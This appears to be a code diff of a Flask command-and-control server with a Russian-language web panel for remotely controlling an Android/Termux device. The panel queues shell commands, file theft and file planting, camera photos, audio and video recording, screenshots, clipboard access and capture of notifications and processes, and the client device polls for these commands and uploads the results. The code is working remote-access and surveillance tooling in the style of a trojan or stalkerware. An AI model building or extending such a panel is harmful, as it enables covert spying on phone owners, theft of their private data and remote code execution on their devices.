const lines = lsOutput.split('\\n'); // Assuming client sends \n, but Flask might re-escape. Check actual data if issues.
|
169 |
+
// If outputArea shows literal \n, then split by '\n' might be needed.
|
170 |
+
// For now, assuming client replaces \n with \\n for JSON string.
|
|
|
|
|
|
|
|
|
171 |
|
172 |
+
let isRootOrHome = (currentPath === '/' || currentPath === '~'); // Simplified check
|
173 |
+
// Check for path like /data/data/com.termux/files/home too, which is effectively ~
|
174 |
+
if (currentPath.startsWith('/data/data/com.termux/files/home') &&
|
175 |
+
(currentPath.length === '/data/data/com.termux/files/home'.length || currentPath.length === '/data/data/com.termux/files/home'.length + 1 && currentPath.endsWith('/'))) {
|
176 |
+
isRootOrHome = true;
|
177 |
+
}
|
178 |
|
179 |
+
|
180 |
+
if (!isRootOrHome) {
|
181 |
const parentLi = document.createElement('li');
|
182 |
parentLi.className = 'dir';
|
183 |
const parentA = document.createElement('a');
|
|
|
190 |
|
191 |
lines.forEach(line => {
|
192 |
if (line.trim() === '' || line.startsWith("Содержимое")) return;
|
193 |
+
const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/); // Matches literal [D] or [F]
|
194 |
+
if (!parts) { // Fallback for lines not matching [D]/[F] format, e.g. error messages
|
195 |
+
const li = document.createElement('li');
|
196 |
+
li.textContent = line;
|
197 |
+
fileListUl.appendChild(li);
|
198 |
+
return;
|
199 |
+
};
|
200 |
+
|
201 |
+
const type = parts[1];
|
202 |
const name = parts[2].trim();
|
203 |
+
|
204 |
const li = document.createElement('li');
|
205 |
const nameSpan = document.createElement('span');
|
206 |
const a = document.createElement('a');
|
207 |
a.href = '#';
|
208 |
+
|
209 |
if (type === '[D]') {
|
210 |
li.className = 'dir';
|
211 |
a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
|
212 |
a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
|
213 |
nameSpan.appendChild(a);
|
214 |
+
} else { // Assuming [F]
|
|
|
215 |
li.className = 'file';
|
216 |
a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
|
217 |
+
// Make file name clickable for future actions if needed, for now no-op
|
218 |
+
a.onclick = (e) => { e.preventDefault(); /* Potentially show file info */ };
|
219 |
nameSpan.appendChild(a);
|
220 |
|
221 |
const downloadBtn = document.createElement('button');
|
222 |
downloadBtn.className = 'download-btn';
|
223 |
downloadBtn.textContent = 'Скачать';
|
224 |
downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
|
225 |
+
li.appendChild(nameSpan);
|
226 |
+
li.appendChild(downloadBtn);
|
|
|
227 |
}
|
228 |
+
if (type === '[D]') li.appendChild(nameSpan);
|
229 |
fileListUl.appendChild(li);
|
230 |
});
|
231 |
}
|
232 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
233 |
function renderNotifications(notifications) {
|
234 |
const notificationListDiv = document.getElementById('notificationList');
|
235 |
notificationListDiv.innerHTML = '';
|
|
|
237 |
notifications.forEach(n => {
|
238 |
const itemDiv = document.createElement('div');
|
239 |
itemDiv.className = 'notification-item';
|
240 |
+
const title = n.title || (n.ticker && n.ticker !== "null" ? n.ticker : 'Без заголовка'); // Better title fallback
|
241 |
+
const content = n.content || (n.text && n.text !== "null" ? n.text : 'Нет содержимого'); // Better content fallback
|
242 |
itemDiv.innerHTML = `
|
243 |
+
<strong>${title} (ID: ${n.id || 'N/A'})</strong>
|
244 |
<span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
|
245 |
<span><strong>Тег:</strong> ${n.tag || 'N/A'}, <strong>Ключ:</strong> ${n.key || 'N/A'}</span>
|
246 |
<span><strong>Когда:</strong> ${n.when ? new Date(n.when).toLocaleString() : 'N/A'}</span>
|
247 |
+
<p>${content}</p>
|
248 |
`;
|
249 |
notificationListDiv.appendChild(itemDiv);
|
250 |
});
|
|
|
252 |
notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
|
253 |
}
|
254 |
}
|
255 |
+
|
256 |
async function sendGenericCommand(payload) {
|
257 |
try {
|
258 |
+
// Show "Sending command..." in the main output area if it's relevant to the current view.
|
259 |
+
const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
|
260 |
+
if (generalOutputViews.includes(currentView)) {
|
261 |
+
document.getElementById('outputArea').innerText = "Отправка команды...";
|
262 |
+
} else if (currentView === 'files') {
|
263 |
+
// For file view, commands might update file list, don't overwrite general output unless error
|
264 |
+
}
|
|
|
|
|
|
|
|
|
265 |
|
266 |
const response = await fetch('/send_command', {
|
267 |
method: 'POST',
|
|
|
270 |
});
|
271 |
if (!response.ok) {
|
272 |
console.error("Server error sending command");
|
273 |
+
if (generalOutputViews.includes(currentView)) {
|
274 |
+
document.getElementById('outputArea').innerText = "Ошибка сервера при отправке команды.";
|
275 |
+
}
|
276 |
+
}
|
277 |
+
// Result will be shown by refreshOutput
|
278 |
} catch (error) {
|
279 |
console.error("Network error sending command:", error);
|
280 |
+
if (generalOutputViews.includes(currentView)) {
|
281 |
+
document.getElementById('outputArea').innerText = "Сетевая ошибка при отправке команды.";
|
282 |
+
}
|
283 |
}
|
284 |
}
|
285 |
|
286 |
function navigateTo(itemName) {
|
287 |
sendGenericCommand({ command_type: 'list_files', path: itemName });
|
288 |
+
if (currentView === 'files') {
|
289 |
document.getElementById('fileList').innerHTML = '<li>Загрузка...</li>';
|
290 |
}
|
291 |
}
|
292 |
|
293 |
function requestDownloadFile(filename) {
|
294 |
sendGenericCommand({ command_type: 'request_download_file', filename: filename });
|
295 |
+
const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
|
296 |
+
if (generalOutputViews.includes(currentView)) { // Update main output if relevant
|
297 |
+
document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
|
298 |
+
}
|
299 |
+
// Also good to have a specific status message in the "files" view if possible, or rely on refreshOutput for the command's direct response.
|
300 |
}
|
301 |
+
|
302 |
function refreshClientPathDisplay(){
|
303 |
+
if (document.getElementById('currentPathDisplay')) {
|
304 |
fetch('/get_status_output').then(r=>r.json()).then(data => {
|
305 |
if(data.current_path) document.getElementById('currentPathDisplay').innerText = data.current_path;
|
306 |
});
|
|
|
308 |
}
|
309 |
|
310 |
window.onload = () => {
|
311 |
+
showSection('dashboard'); // Start with dashboard
|
312 |
setInterval(refreshOutput, 4000); // Regular refresh
|
313 |
refreshOutput(); // Initial refresh
|
314 |
};
|
315 |
+
|
316 |
function submitShellCommand(event) {
|
317 |
event.preventDefault();
|
318 |
const command = document.getElementById('command_str').value;
|
319 |
sendGenericCommand({ command_type: 'shell', command: command });
|
320 |
document.getElementById('command_str').value = '';
|
321 |
}
|
322 |
+
|
323 |
+
function submitMediaCommand(type, ...paramsConfig) { // paramsConfig = ['key1', 'valueId1', 'key2', 'valueId2'...]
|
324 |
let payload = { command_type: type };
|
325 |
+
if (paramsConfig.length > 0) {
|
326 |
+
for (let i = 0; i < paramsConfig.length; i += 2) {
|
327 |
+
const paramName = paramsConfig[i];
|
328 |
+
const paramValueId = paramsConfig[i+1];
|
329 |
+
if (paramName && paramValueId) {
|
330 |
+
const valueElement = document.getElementById(paramValueId);
|
331 |
+
// Send param if element exists and has a non-empty value, or if it's a type that might allow empty (though not for current media params)
|
332 |
+
if (valueElement && valueElement.value) {
|
333 |
+
payload[paramName] = valueElement.value;
|
334 |
+
} else if (valueElement && paramName === 'camera_id' && valueElement.value === '0') { // Explicitly allow '0' for camera_id
|
335 |
+
payload[paramName] = valueElement.value;
|
336 |
+
}
|
337 |
+
// If value is empty for duration, server-side defaults will be used.
|
338 |
+
}
|
339 |
+
}
|
340 |
}
|
341 |
sendGenericCommand(payload);
|
342 |
}
|
343 |
+
|
344 |
async function handleUploadToServer(event) {
|
345 |
event.preventDefault();
|
346 |
const fileInput = document.getElementById('fileToUploadToDevice');
|
347 |
const targetPathInput = document.getElementById('targetDevicePath');
|
348 |
+
|
349 |
if (!fileInput.files[0]) {
|
350 |
alert("Пожалуйста, выберите файл для загрузки.");
|
351 |
return;
|
|
|
358 |
const formData = new FormData();
|
359 |
formData.append('file_to_device', fileInput.files[0]);
|
360 |
formData.append('target_path_on_device', targetPathInput.value);
|
361 |
+
|
362 |
document.getElementById('uploadToDeviceStatus').innerText = 'Загрузка файла на сервер...';
|
363 |
|
364 |
try {
|
|
|
369 |
const result = await response.json();
|
370 |
if (result.status === 'success') {
|
371 |
document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
|
372 |
+
// Command to client to download the file
|
373 |
+
sendGenericCommand({
|
374 |
+
command_type: 'receive_file',
|
375 |
+
server_filename: result.server_filename, // This is the UUID'd name
|
376 |
+
target_path_on_device: result.target_path_on_device,
|
377 |
+
original_filename: result.original_filename // Client needs this to save with correct name
|
378 |
});
|
379 |
} else {
|
380 |
document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
|
|
|
383 |
document.getElementById('uploadToDeviceStatus').innerText = 'Сетевая ошибка при загрузке файл�� на сервер: ' + error;
|
384 |
}
|
385 |
}
|
386 |
+
|
387 |
function getClipboard() {
|
388 |
sendGenericCommand({ command_type: 'clipboard_get' });
|
389 |
}
|
|
|
402 |
function requestDeviceStatus(item = null) {
|
403 |
let payload = { command_type: 'get_device_status' };
|
404 |
if (item) {
|
405 |
+
payload.item = item;
|
406 |
}
|
407 |
sendGenericCommand(payload);
|
408 |
}
|
|
|
464 |
<button onclick="requestDeviceStatus('processes')">Обновить процессы</button>
|
465 |
</div>
|
466 |
</div>
|
467 |
+
|
468 |
<div id="notifications" class="container hidden-section">
|
469 |
<h2>Уведомления устройства</h2>
|
470 |
<button onclick="requestNotifications()">Обновить уведомления</button>
|
|
|
511 |
</form>
|
512 |
<div class="control-section" style="margin-top:20px;">
|
513 |
<h3>Вывод команды:</h3>
|
514 |
+
<pre id="outputAreaShellCopy"></pre> <!-- This will be updated by JS -->
|
515 |
</div>
|
516 |
</div>
|
517 |
|
518 |
<div id="media" class="container hidden-section">
|
519 |
<h2>Мультимедиа</h2>
|
520 |
<div class="control-section">
|
521 |
+
<button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button>
|
522 |
+
<label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
|
523 |
+
<input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;">
|
|
|
|
|
524 |
</div>
|
525 |
<div class="control-section">
|
526 |
+
<button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button>
|
527 |
+
<label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
|
528 |
+
<input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
|
|
|
|
|
529 |
</div>
|
530 |
+
<div class="control-section"> <!-- New Video Record Section -->
|
531 |
+
<button onclick="submitMediaCommand('record_video', 'duration', 'video_duration_input', 'camera_id', 'video_camera_id_input')">Записать видео</button>
|
532 |
+
<label for="video_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
|
533 |
+
<input type="text" id="video_duration_input" value="10" style="width:50px; display:inline-block;">
|
534 |
+
<label for="video_camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
|
535 |
+
<input type="text" id="video_camera_id_input" value="0" style="width:50px; display:inline-block;">
|
|
|
|
|
536 |
</div>
|
537 |
<div class="control-section">
|
538 |
<button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
|
539 |
</div>
|
540 |
<div class="control-section" style="margin-top:20px;">
|
541 |
<h3>Результат операции:</h3>
|
542 |
+
<pre id="outputAreaMediaCopy"></pre> <!-- This will be updated by JS -->
|
543 |
</div>
|
544 |
</div>
|
545 |
|
|
|
555 |
</div>
|
556 |
<div class="control-section" style="margin-top:20px;">
|
557 |
<h3>Результат операции с буфером:</h3>
|
558 |
+
<pre id="outputAreaClipboardCopy"></pre> <!-- This will be updated by JS -->
|
559 |
</div>
|
560 |
</div>
|
561 |
|
|
|
568 |
</div>
|
569 |
<div class="control-section" style="margin-top:20px;">
|
570 |
<h3>Результат операции:</h3>
|
571 |
+
<pre id="outputAreaUtilsCopy"></pre> <!-- This will be updated by JS -->
|
572 |
</div>
|
573 |
</div>
|
574 |
+
|
575 |
<div id="uploads" class="container hidden-section">
|
576 |
<h2>Файлы, загруженные С клиента на сервер</h2>
|
577 |
<div class="control-section">
|
|
|
582 |
</div>
|
583 |
</div>
|
584 |
<script>
|
585 |
+
// This script runs after the main script block with functions due to placement
|
|
|
|
|
586 |
document.addEventListener('DOMContentLoaded', () => {
|
587 |
const outputArea = document.getElementById('outputArea');
|
588 |
+
const outputAreaShellCopy = document.getElementById('outputAreaShellCopy');
|
589 |
+
const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy');
|
590 |
+
const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy');
|
591 |
+
const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy');
|
592 |
+
|
593 |
const observer = new MutationObserver(() => {
|
594 |
+
// Update specific output areas only if their respective views are active
|
595 |
+
if (outputAreaShellCopy && currentView === 'shell') outputAreaShellCopy.innerText = outputArea.innerText;
|
596 |
+
if (outputAreaMediaCopy && currentView === 'media') outputAreaMediaCopy.innerText = outputArea.innerText;
|
597 |
+
if (outputAreaClipboardCopy && currentView === 'clipboard') outputAreaClipboardCopy.innerText = outputArea.innerText;
|
598 |
+
if (outputAreaUtilsCopy && currentView === 'utils') outputAreaUtilsCopy.innerText = outputArea.innerText;
|
599 |
});
|
600 |
+
|
601 |
+
// Observe the main outputArea for changes
|
602 |
if (outputArea) {
|
603 |
observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
|
604 |
}
|
|
|
615 |
@app.route('/send_command', methods=['POST'])
|
616 |
def handle_send_command():
|
617 |
global pending_command, command_output, current_client_path, file_to_send_to_client
|
618 |
+
|
619 |
data = request.json
|
620 |
+
command_output = "Ожидание выполнения..." # Reset output when new command is sent
|
621 |
+
|
622 |
command_type = data.get('command_type')
|
623 |
+
|
624 |
if command_type == 'list_files':
|
625 |
path_requested = data.get('path', '.')
|
626 |
pending_command = {'type': 'list_files', 'path': path_requested}
|
|
|
636 |
pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
|
637 |
elif command_type == 'record_video':
|
638 |
pending_command = {
|
639 |
+
'type': 'record_video',
|
640 |
+
'duration': data.get('duration', '10'),
|
641 |
+
'camera_id': data.get('camera_id', '0')
|
642 |
}
|
643 |
elif command_type == 'screenshot':
|
644 |
pending_command = {'type': 'screenshot'}
|
|
|
648 |
pending_command = {'type': 'shell', 'command': command_str}
|
649 |
else:
|
650 |
command_output = "Ошибка: Команда не указана."
|
651 |
+
elif command_type == 'receive_file': # This case is triggered by JS after server uploads a file for client
|
652 |
+
server_filename = data.get('server_filename') # UUID'd name
|
653 |
target_path_on_device = data.get('target_path_on_device')
|
654 |
+
original_filename_for_client = data.get('original_filename') # Actual name client should save as
|
655 |
+
|
656 |
+
if server_filename and target_path_on_device and original_filename_for_client:
|
657 |
file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
|
658 |
if os.path.exists(file_path_on_server):
|
659 |
pending_command = {
|
660 |
+
'type': 'receive_file',
|
661 |
'download_url': url_for('download_to_client', filename=server_filename, _external=True),
|
662 |
'target_path': target_path_on_device,
|
663 |
+
'original_filename': original_filename_for_client
|
664 |
}
|
665 |
+
# No need to manage file_to_send_to_client here, as the file is already on server
|
666 |
else:
|
667 |
command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
|
668 |
else:
|
669 |
+
command_output = "Ошибка: Недостаточно данных для отправки файла клиенту (отсутствует server_filename, target_path или original_filename)."
|
670 |
+
app.logger.error(f"Receive_file error: server_filename={server_filename}, target_path={target_path_on_device}, original_filename={original_filename_for_client}")
|
671 |
+
|
672 |
elif command_type == 'clipboard_get':
|
673 |
pending_command = {'type': 'clipboard_get'}
|
674 |
elif command_type == 'clipboard_set':
|
|
|
681 |
else:
|
682 |
command_output = "Ошибка: URL для открытия не указан."
|
683 |
elif command_type == 'get_device_status':
|
684 |
+
item_requested = data.get('item')
|
685 |
pending_command = {'type': 'get_device_status', 'item': item_requested}
|
686 |
elif command_type == 'get_notifications':
|
687 |
pending_command = {'type': 'get_notifications'}
|
688 |
else:
|
689 |
command_output = "Неизвестный тип команды."
|
690 |
+
|
691 |
return jsonify({'status': 'command_queued'})
|
692 |
|
693 |
|
|
|
696 |
global pending_command
|
697 |
if pending_command:
|
698 |
cmd_to_send = pending_command
|
699 |
+
pending_command = None
|
700 |
return jsonify(cmd_to_send)
|
701 |
+
return jsonify(None) # Send null or {} if no command
|
702 |
|
703 |
@app.route('/submit_client_data', methods=['POST'])
|
704 |
def submit_client_data():
|
705 |
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
|
706 |
+
|
707 |
data = request.json
|
708 |
if not data:
|
709 |
return jsonify({'status': 'error', 'message': 'No data received'}), 400
|
|
|
712 |
|
713 |
if 'output' in data:
|
714 |
new_output = data['output']
|
715 |
+
max_len = 20000
|
716 |
if len(new_output) > max_len:
|
717 |
command_output = new_output[:max_len] + "\n... (output truncated)"
|
718 |
else:
|
719 |
command_output = new_output
|
720 |
+
|
|
|
|
|
|
|
|
|
721 |
if 'current_path' in data:
|
722 |
current_client_path = data['current_path']
|
723 |
|
724 |
if 'device_status_update' in data:
|
725 |
update = data['device_status_update']
|
726 |
+
for key, value in update.items(): # Iterate and update specific keys
|
727 |
device_status_info[key] = value
|
728 |
+
# If output wasn't set by a direct command, provide a generic status update message
|
729 |
+
if 'output' not in data: # if no specific command output, acknowledge status update
|
730 |
+
command_output = "Статус устройства обновлен на сервере."
|
731 |
+
|
732 |
if 'notifications_update' in data:
|
733 |
+
notifications_history = data['notifications_update']
|
734 |
+
if 'output' not in data and 'device_status_update' not in data: # if no other output source
|
735 |
+
command_output = "Список уведомлений обновлен на сервере."
|
736 |
|
737 |
|
|
|
738 |
if 'heartbeat' in data and data['heartbeat']:
|
739 |
+
# Only set "Клиент онлайн" if no other important message is pending or just received
|
740 |
+
if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data:
|
741 |
+
command_output = "Клиент онлайн. (Heartbeat получен)"
|
742 |
return jsonify({'status': 'heartbeat_ok'})
|
743 |
+
|
744 |
return jsonify({'status': 'data_received'})
|
745 |
|
746 |
@app.route('/upload_from_client', methods=['POST'])
|
|
|
748 |
global command_output, last_client_heartbeat
|
749 |
last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
|
750 |
if 'file' not in request.files:
|
751 |
+
# This message is for the client's next /get_command if it were to poll for this response.
|
752 |
+
# However, client_uploads_file_to_server expects a direct response.
|
753 |
+
# The return jsonify will be the direct response.
|
754 |
+
# command_output = "Ошибка на сервере: Файл не был отправлен клиентом (нет 'file' в request.files)."
|
755 |
+
return jsonify({'status': 'error', 'message': 'No file part in request'}), 400
|
756 |
+
|
757 |
file = request.files['file']
|
758 |
+
origin_command_type = request.form.get("origin_command_type", "unknown_origin")
|
759 |
+
|
760 |
if file.filename == '':
|
761 |
+
# command_output = f"Ошибка на сервере: Клиент ({origin_command_type}) отправил файл без имени."
|
762 |
+
return jsonify({'status': 'error', 'message': 'No selected file (empty filename)'}), 400
|
763 |
|
764 |
if file:
|
765 |
+
filename = werkzeug.utils.secure_filename(file.filename)
|
766 |
+
|
767 |
+
# Ensure unique filename on server by prepending UUID or similar if collisions are a concern
|
768 |
+
# For simplicity, let's add a timestamp prefix for common cases like photos/videos
|
769 |
+
if origin_command_type in ["take_photo", "record_audio", "record_video", "screenshot"]:
|
770 |
+
filename = f"{int(time.time())}_{filename}"
|
771 |
+
|
772 |
+
# Handle potential path collisions more robustly
|
773 |
base_name, ext = os.path.splitext(filename)
|
774 |
+
counter = 0
|
775 |
+
final_filename = filename
|
776 |
+
filepath = os.path.join(app.config['UPLOAD_FOLDER'], final_filename)
|
777 |
+
|
778 |
while os.path.exists(filepath):
|
779 |
counter += 1
|
780 |
+
final_filename = f"{base_name}_{counter}{ext}"
|
781 |
+
filepath = os.path.join(app.config['UPLOAD_FOLDER'], final_filename)
|
782 |
|
783 |
try:
|
784 |
file.save(filepath)
|
785 |
+
# Update command_output for the admin panel for next refresh, ONLY for user-initiated downloads.
|
786 |
+
# For automatic uploads (photo, audio, video, screenshot), the client will send its own status.
|
787 |
+
if origin_command_type == "upload_to_server": # This is from "request_download_file" from panel
|
788 |
+
command_output = f"Файл '{final_filename}' успешно загружен С клиента на сервер."
|
789 |
+
# The client_uploads_file_to_server function receives this JSON response:
|
790 |
+
return jsonify({'status': 'success', 'filename': final_filename, 'message': f'File {final_filename} uploaded successfully from client command {origin_command_type}.'}), 200
|
|
|
|
|
791 |
except Exception as e:
|
792 |
+
# command_output = f"Ошибка сохранения файла от клиента ({origin_command_type}): {str(e)}"
|
793 |
+
app.logger.error(f"Error saving file from client {origin_command_type}: {e}")
|
794 |
+
return jsonify({'status': 'error', 'message': str(e)}), 500
|
795 |
+
|
796 |
+
return jsonify({'status': 'error', 'message': 'File object not valid after checks'}), 400
|
797 |
+
|
798 |
|
799 |
@app.route('/get_status_output', methods=['GET'])
|
800 |
def get_status_output_route():
|
801 |
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
|
802 |
return jsonify({
|
803 |
+
'output': command_output,
|
804 |
'last_heartbeat': last_client_heartbeat,
|
805 |
'current_path': current_client_path,
|
806 |
'device_status': device_status_info,
|
807 |
+
'notifications': notifications_history
|
808 |
})
|
809 |
|
810 |
@app.route('/uploads_from_client/<path:filename>')
|
|
|
814 |
@app.route('/list_uploaded_files')
|
815 |
def list_uploaded_files_route():
|
816 |
files = []
|
817 |
+
upload_folder = app.config['UPLOAD_FOLDER']
|
818 |
try:
|
819 |
+
for f_name in os.listdir(upload_folder):
|
820 |
+
if os.path.isfile(os.path.join(upload_folder, f_name)):
|
821 |
+
files.append(f_name)
|
822 |
+
# Sort files by modification time, newest first
|
823 |
+
files.sort(key=lambda f: os.path.getmtime(os.path.join(upload_folder, f)), reverse=True)
|
824 |
except Exception as e:
|
825 |
+
app.logger.error(f"Error listing uploaded files: {e}")
|
826 |
+
pass
|
827 |
return jsonify({'files': files})
|
828 |
|
829 |
|
830 |
@app.route('/upload_to_server_for_client', methods=['POST'])
|
831 |
def upload_to_server_for_client_route():
|
832 |
+
# This route handles files uploaded FROM THE ADMIN PANEL, to be sent TO THE CLIENT device.
|
833 |
global command_output
|
834 |
if 'file_to_device' not in request.files:
|
835 |
return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
|
836 |
+
|
837 |
file = request.files['file_to_device']
|
838 |
target_path_on_device = request.form.get('target_path_on_device')
|
839 |
|
840 |
if file.filename == '':
|
841 |
+
return jsonify({'status': 'error', 'message': 'No selected file for_device (empty filename)'}), 400
|
842 |
+
|
843 |
if not target_path_on_device:
|
844 |
return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
|
845 |
|
846 |
if file:
|
847 |
original_filename = werkzeug.utils.secure_filename(file.filename)
|
848 |
+
# Use a unique name on the server to avoid collisions, client will save with original_filename
|
849 |
+
server_side_filename = str(uuid.uuid4()) + "_" + original_filename
|
850 |
filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
|
851 |
+
|
852 |
try:
|
853 |
file.save(filepath_on_server)
|
854 |
+
# This message will be shown in the admin panel via refreshOutput
|
855 |
+
command_output = f"Файл {original_filename} загружен на сервер (как {server_side_filename}), готов к отправке клиенту в {target_path_on_device}."
|
856 |
+
# This JSON is returned to the handleUploadToServer JS function
|
857 |
return jsonify({
|
858 |
+
'status': 'success',
|
859 |
+
'server_filename': server_side_filename, # The unique name on server (with UUID)
|
860 |
+
'original_filename': original_filename, # The name client should use
|
861 |
+
'target_path_on_device': target_path_on_device
|
862 |
})
|
863 |
except Exception as e:
|
864 |
+
app.logger.error(f"Server error saving file for client: {e}")
|
865 |
return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
|
866 |
+
|
867 |
+
return jsonify({'status': 'error', 'message': 'File processing failed on server after checks'}), 500
|
868 |
|
869 |
@app.route('/download_to_client/<filename>')
|
870 |
def download_to_client(filename):
|
871 |
+
# This serves files FROM app.config['FILES_TO_CLIENT_FOLDER'] TO the client device
|
872 |
return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
|
873 |
|
874 |
|
875 |
if __name__ == '__main__':
|
876 |
+
import logging
|
877 |
+
logging.basicConfig(level=logging.INFO) # Basic logging for Flask
|
878 |
app.run(host='0.0.0.0', port=7860, debug=False)
|